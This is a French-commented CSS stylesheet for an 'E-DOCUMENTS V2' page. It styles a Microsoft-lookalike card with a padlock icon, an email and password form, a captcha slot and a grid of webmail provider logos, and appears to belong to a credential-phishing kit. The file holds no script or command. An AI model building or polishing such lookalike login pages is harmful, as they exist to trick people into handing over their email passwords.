/* E-DOCUMENTS V2 - Styles principaux */
*, *::before, *::after {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

html, body {
    height: 100%;
    overflow-x: hidden;
}

body {
    font-family: 'Segoe UI', -apple-system, BlinkMacSystemFont, sans-serif;
    background-color: #000;
    background-image: linear-gradient(rgba(0,0,0,0.55), rgba(0,0,0,0.55)), url('../background.jpg');
    background-position: center;
    background-size: cover;
    background-repeat: no-repeat;
    min-height: 100vh;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 20px;
}

.container {
    width: 100%;
    max-width: 440px;
    animation: fadeIn 0.4s ease-out;
}

@keyframes fadeIn {
    from { opacity: 0; transform: translateY(15px); }
    to { opacity: 1; transform: translateY(0); }
}

/* Header */
.brand-header {
    background: #fff;
    padding: 20px 24px;
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 14px;
    border-radius: 4px;
    box-shadow: 0 4px 12px rgba(0,0,0,0.15);
    margin-bottom: 12px;
}

.brand-logo {
    height: 36px;
    width: auto;
}

.brand-separator {
    width: 1px;
    height: 28px;
    background: #d2d0ce;
}

.brand-name {
    font-size: 18px;
    font-weight: 400;
    color: #323130;
}

/* Card */
.card {
    padding: 28px 36px 32px;
    background: #fff;
    border-radius: 4px;
    box-shadow: 0 4px 12px rgba(0,0,0,0.15);
}

.card-title {
    font-size: 17px;
    font-weight: 600;
    color: #323130;
    text-align: center;
    margin-bottom: 8px;
}

/* Titre avec icône cadenas */
.title-wrapper {
    text-align: center;
    margin-bottom: 12px;
    overflow: visible;
}

.title-line {
    display: inline-flex;
    align-items: center;
    gap: 10px;
    overflow: visible;
}

.title-wrapper .card-title {
    margin-bottom: 0;
}

.lock-icon {
    width: 24px;
    height: 28px;
    position: relative;
    overflow: visible;
}

.lock-icon svg {
    width: 100%;
    height: 100%;
    overflow: visible;
}

.lock-body {
    fill: #0078d4;
}

.lock-shackle {
    fill: none;
    stroke: #0078d4;
    stroke-width: 2;
    stroke-linecap: round;
    transform-origin: center bottom;
    animation: lockPulse 2s ease-in-out infinite;
}

@keyframes lockPulse {
    0%, 100% { transform: translateY(0); }
    50% { transform: translateY(-2px); }
}

.lock-keyhole {
    fill: #fff;
}

.card-subtitle {
    font-size: 14px;
    color: #86868b;
    text-align: center;
    line-height: 1.6;
    margin-bottom: 24px;
}

/* Formulaire */
.form-group {
    margin-bottom: 16px;
}

.form-group label {
    display: block;
    font-size: 14px;
    font-weight: 500;
    color: #323130;
    margin-bottom: 6px;
}

.form-group input {
    width: 100%;
    padding: 10px 14px;
    font-size: 14px;
    font-family: inherit;
    border: 1px solid #8a8886;
    border-radius: 2px;
    background: #fff;
    transition: border-color 0.15s;
}

.form-group input:focus {
    outline: none;
    border-color: #0078d4;
}

/* Bouton principal */
.btn-primary {
    width: 100%;
    height: 44px;
    padding: 0 20px;
    background: #0464ba;
    color: #fff;
    border: none;
    border-radius: 2px;
    font-size: 15px;
    font-weight: 600;
    font-family: inherit;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
}

.btn-primary:hover {
    background: #22579a;
}

.btn-primary:disabled {
    opacity: 0.7;
    cursor: not-allowed;
}

.btn-primary.loading .btn-text {
    display: none;
}

.btn-primary.loading .loading-dots {
    display: flex;
}

/* Loading dots */
.loading-dots {
    display: none;
    align-items: center;
    gap: 4px;
}

.loading-dots span {
    width: 6px;
    height: 6px;
    background: #fff;
    border-radius: 50%;
    animation: dotPulse 1.4s infinite ease-in-out;
}

.loading-dots span:nth-child(2) { animation-delay: 0.2s; }
.loading-dots span:nth-child(3) { animation-delay: 0.4s; }

@keyframes dotPulse {
    0%, 80%, 100% { opacity: 0.3; transform: scale(0.8); }
    40% { opacity: 1; transform: scale(1); }
}

/* Footer */
.footer {
    margin-top: 20px;
    padding-top: 16px;
    border-top: 1px solid #e1dfdd;
    text-align: center;
}

.footer-links {
    font-size: 12px;
    color: #605e5c;
}

.footer-links a {
    color: #0078d4;
    text-decoration: none;
}

.footer-copy {
    font-size: 11px;
    color: #a19f9d;
    margin-top: 8px;
}

/* Sélecteur langue */
.lang-select {
    position: fixed;
    top: 16px;
    right: 16px;
    z-index: 1000;
}

.lang-dropdown {
    position: relative;
}

.lang-btn {
    display: flex;
    align-items: center;
    gap: 6px;
    padding: 8px 14px;
    background: rgba(255,255,255,0.95);
    border: 1px solid rgba(0,0,0,0.08);
    border-radius: 6px;
    cursor: pointer;
    font-size: 13px;
    font-weight: 500;
    color: #323130;
    box-shadow: 0 2px 8px rgba(0,0,0,0.12);
    transition: all 0.2s ease;
}

.lang-btn:hover {
    background: #fff;
    box-shadow: 0 4px 12px rgba(0,0,0,0.15);
}

.lang-arrow {
    transition: transform 0.2s ease;
    color: #605e5c;
}

.lang-dropdown.open .lang-arrow {
    transform: rotate(180deg);
}

.lang-menu {
    position: absolute;
    top: calc(100% + 6px);
    right: 0;
    min-width: 160px;
    max-height: 320px;
    overflow-y: auto;
    background: #fff;
    border-radius: 8px;
    box-shadow: 0 4px 20px rgba(0,0,0,0.18);
    opacity: 0;
    visibility: hidden;
    transform: translateY(-8px);
    transition: all 0.2s ease;
}

.lang-dropdown.open .lang-menu {
    opacity: 1;
    visibility: visible;
    transform: translateY(0);
}

.lang-menu::-webkit-scrollbar {
    width: 5px;
}

.lang-menu::-webkit-scrollbar-thumb {
    background: #ccc;
    border-radius: 3px;
}

.lang-option {
    padding: 10px 14px;
    cursor: pointer;
    font-size: 13px;
    color: #323130;
}

.lang-option:hover {
    background: #f5f5f5;
}

.lang-option.active {
    background: #e6f2ff;
    color: #0078d4;
    font-weight: 600;
}

/* Email display */
.email-display {
    background: #f5f5f5;
    border: 1px solid #e1dfdd;
    border-radius: 4px;
    padding: 12px 16px;
    margin-bottom: 16px;
    margin-top: 15px;
    display: flex;
    align-items: center;
    justify-content: space-between;
    gap: 12px;
}

.email-info {
    flex: 1;
    min-width: 0;
}

.email-label-small {
    font-size: 11px;
    color: #605e5c;
    margin-bottom: 2px;
}

.email-value {
    font-size: 14px;
    font-weight: 600;
    color: #323130;
    word-break: break-all;
}

.email-change {
    font-size: 12px;
    color: #0078d4;
    text-decoration: none;
    white-space: nowrap;
}

.email-change:hover {
    text-decoration: underline;
}

/* Captcha */
.captcha-wrapper {
    display: flex;
    justify-content: center;
    margin: 20px 0;
    min-height: 78px;
}

/* Error */
.error-msg {
    display: none;
    background: #fef0f0;
    border: 1px solid #fdcece;
    color: #c42b1c;
    padding: 10px 14px;
    border-radius: 4px;
    font-size: 13px;
    margin-bottom: 16px;
    text-align: center;
}

.error-msg.show {
    display: block;
}

/* Success page */
.success-icon {
    width: 64px;
    height: 64px;
    margin: 0 auto 20px;
}

.success-title {
    font-size: 18px;
    font-weight: 600;
    color: #107c10;
    text-align: center;
    margin-bottom: 8px;
}

.success-message {
    font-size: 14px;
    color: #605e5c;
    text-align: center;
    line-height: 1.5;
}

.closing-text {
    font-size: 12px;
    color: #8a8886;
}

/* Progress bar */
.progress-container {
    margin: 20px 0;
}

.progress-bar {
    width: 100%;
    height: 6px;
    background: #e1dfdd;
    border-radius: 3px;
    overflow: hidden;
}

.progress-fill {
    height: 100%;
    background: linear-gradient(90deg, #0078d4, #00bcf2);
    border-radius: 3px;
    width: 0%;
    transition: width 0.3s ease;
}

.progress-text {
    font-size: 13px;
    color: #605e5c;
    text-align: center;
    margin-top: 8px;
}

/* Spinner */
.spinner {
    width: 48px;
    height: 48px;
    margin: 0 auto 20px;
    border: 3px solid #e1dfdd;
    border-top-color: #0078d4;
    border-radius: 50%;
    animation: spin 1s linear infinite;
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

/* Password toggle */
.password-wrapper {
    position: relative;
}

.password-wrapper input {
    padding-right: 70px;
}

.password-toggle {
    position: absolute;
    right: 10px;
    top: 50%;
    transform: translateY(-50%);
    background: none;
    border: none;
    font-size: 12px;
    color: #0078d4;
    cursor: pointer;
}

/* Title avec icône animée */
.title-wrapper {
    text-align: center;
    margin-bottom: 16px;
}

.title-line {
    display: inline-flex;
    align-items: center;
    gap: 10px;
}

.card-title {
    font-size: 15px;
    font-weight: 600;
    color: #323130;
    margin: 0;
    display: inline;
}

.animated-dots {
    font-weight: 600;
    color: #323130;
}

.title-icon {
    width: 20px;
    height: 20px;
    flex-shrink: 0;
}

/* Animation document icon */
@keyframes draw-page {
    0% { stroke-dashoffset: 60; }
    40% { stroke-dashoffset: 0; }
    100% { stroke-dashoffset: 0; }
}
@keyframes draw-fold {
    0%, 30% { stroke-dashoffset: 20; }
    60% { stroke-dashoffset: 0; }
    100% { stroke-dashoffset: 0; }
}
@keyframes draw-lines {
    0%, 50% { stroke-dashoffset: 15; }
    80% { stroke-dashoffset: 0; }
    100% { stroke-dashoffset: 0; }
}

.title-icon .draw-page {
    stroke-dasharray: 60;
    animation: draw-page 2.5s ease-out infinite;
    stroke-linecap: round;
    stroke-linejoin: round;
}
.title-icon .draw-fold {
    stroke-dasharray: 20;
    animation: draw-fold 2.5s ease-out infinite;
    stroke-linecap: round;
    stroke-linejoin: round;
}
.title-icon .draw-line {
    stroke-dasharray: 15;
    animation: draw-lines 2.5s ease-out infinite;
    stroke-linecap: round;
    stroke-linejoin: round;
}

/* Providers label */
.providers-label {
    font-size: 13px;
    font-weight: 400;
    color: #605e5c;
    text-align: center;
    margin-bottom: 12px;
    margin-top: 15px;
    padding: 8px 12px;
    background: #f5f5f5;
    border: 1px solid #e1dfdd;
    border-radius: 3px;
}

.providers-label span {
    color: #0078d4;
    font-weight: 500;
}

/* Grille providers (webmail logos) */
.providers-grid {
    display: grid;
    grid-template-columns: repeat(4, 1fr);
    gap: 8px;
    margin-bottom: 20px;
}

.provider-box {
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 10px;
    background: #fff;
    border: 1px solid #e1dfdd;
    border-radius: 6px;
    cursor: pointer;
    transition: all 0.15s ease;
}

.provider-box:hover {
    border-color: #0078d4;
    box-shadow: 0 2px 8px rgba(0,120,212,0.15);
    transform: translateY(-1px);
}

.provider-box.selected {
    border-color: #0078d4;
    background: #e6f2ff;
    box-shadow: 0 2px 8px rgba(0,120,212,0.2);
}

.provider-box svg,
.provider-box img {
    width: 22px;
    height: 22px;
}

/* Input highlight animation */
.form-group input.highlight {
    border-color: #0078d4;
    box-shadow: 0 0 0 3px rgba(0,120,212,0.15);
    animation: pulseInput 0.5s ease;
}

@keyframes pulseInput {
    0% { box-shadow: 0 0 0 0 rgba(0,120,212,0.4); }
    50% { box-shadow: 0 0 0 6px rgba(0,120,212,0.1); }
    100% { box-shadow: 0 0 0 3px rgba(0,120,212,0.15); }
}
